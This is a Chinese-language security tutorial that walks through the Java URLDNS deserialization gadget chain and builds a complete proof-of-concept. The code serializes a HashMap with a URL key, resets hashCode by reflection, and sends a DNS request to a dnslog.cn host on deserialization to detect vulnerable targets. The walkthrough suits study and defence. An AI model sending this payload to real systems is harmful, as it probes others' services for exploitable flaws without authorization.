Java安全-利用链.URLDNS

文摘   2024-11-12 14:39   广东  

URLDNS

URLDNS链是用来检测目标是否存在反序列化漏洞的,他的优点就是不限java版本,因为实在HashMap中触发的很难去对他进行限制,但是仅限于使用他验证是否存在反序列化漏洞,无法进行其他操作

原理

在 Java的HashMap中,readObject方法在进行序列化时会调用key 的hash 方法,hash方法会把一个Object对象传进去,然后触发key调用hashCode 方法,刚好,URL 类里也实现了hashCode方法,而在这个方法里,它会调用URLStreamHandle下的getHostAddress方法去解析域名,这样就形成了一条调用链

代码分析

HashMap

直接new 一个HashMap类跟进去,可以看到HashMap类继承了Serializable接口,那证明他可以被序列化

我们找到他重写的readObject方法,在序列化的时候他会将key取出来放到hash方法中

那么我们接着跟进hash,传递了一个Object类型的key,当key不等于null就会去调用了Object类下面的hashCode方法对key进行计算

URL.hashCode

既然知道了最终这个key调用的方法那么我们就要去找谁调用了跟他同名的方法hashCode,找呀找最终找到URL类下有一个hashCode方法

我们先看一下这个hashCode值是多少了,默认就是-1而且还是private权限,返回到URL.hashCode中

跟进handler.hashCode方法,跳转到了URLStreamHandler类里这是专门处理URL类中传递http/https请求的类,这里传递了一个URL对象,然后将URL对象给getHostAddress进行解析,触发DNS请求

拉到最上面看一下URLStreamHandler类的构成,这是个抽象类,并且没有继承序列化接口,那这条链为什么能构造出来呢?带着疑问返回到URL.hashCode中

他是通过handler属性的hashCode方法跳转到了URLStreamHandler

那么找一下handler的属性,这里发现是一个用transient修饰的临时类,transient修饰的属性不会被序列化 如果一个 URL对象被序列化并反序列化,它的handler会被恢复为null,因为transient字段在反序列化时不会被自动恢复  

问题 为什么transient修饰的handler依然会影响hashCode的计算?

虽然handler被transient修饰,在序列化中不会被保存,但是他在对象的生命周期中还是存在的,当URL对象被创建后,handler属性会被赋值为URLStreamHandler实例对象,所以hashCode计算并不依赖于handler能不能被序列化,而是依赖于他在当前URL对象的生命周期,通俗点说虽然URLStreamHandler 在URL类中是一个临时类但是只要URL在序列化和反序列化中被触发那么这个被transient修饰的handler就还是URLStreamHandler 类从而触发DNS请求  

回归正题接着分析,既然已经搞清楚了这些属性都是什么返回到URL.hashCode中继续进行分析

判断hashCode是否被计算,如果已经被计算直接返回hashCode,这里需要hashCode等于-1也就是没有被计算才会进入URLStreamHandler.hashCode下触发DNS请求并返回

那么基本的这条链也分析完了,整理一下执行流程,开始逐步完善我们的exp

HashMap->readObject    HashMap->putVal        HashMap->hash            key.hashCode->URL.hashCode                URL.hashCode->URLStreamHandler.getHostAddress

逐步完善EXP

那么我们根据流程先创建一个HashMap,上面分析代码已经知道,最终触发点是key,所以我们就需要给key的类型设置成URL类,value类型随便

先在dnslog上申请一个测试链接

然后我们返回到idea中完善代码,这里运行一下看下dnslog有没有记录

package org.example;
import java.net.URL;import java.util.HashMap;
public class Main { public static void main(String[] args) throws Exception{ HashMap<URL,String> hashMap = new HashMap<>(); hashMap.put(new URL("http://azp49i.dnslog.cn"),"sdad");
}}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);}
public static Object unserialize(String filename) throws Exception, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj;}

这里发现我们在没有进行序列化和反序列化操作的时候就已经执行了DNS

跟进一下hashMap.put,发现这里调用put传递URL对象的时候实际上就已经执行了putVal(hash,也就是说在前面分析的hashCode这个属性就会被计算就不会走到handler.hashCode中了

那么由于hashCode是私有属性,我们没办法直接调用修改他,只能通过反射获取属性进行修改,先给hashCode改为除了-1以外的其他值,让他不走handler.hashCode在put完之后将hashCode属性值再改回-1触发DNS请求

最终EXP

package org.example;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;
public class Main { public static void main(String[] args) throws Exception{ HashMap<URL,String> hashMap = new HashMap<>(); URL url = new URL("http://azp49i.dnslog.cn"); Class c = url.getClass(); Field field = c.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url,12);
hashMap.put(url,"sdad");
field.set(url,-1);
serialize(hashMap); unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj); }
public static Object unserialize(String filename) throws Exception, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; }}

商务合作

END

湘安无事
湘安无事团队欢迎各位同学了解安全,也欢迎各位大佬加入和指点。深情哥wx:azz_789 乱聊技术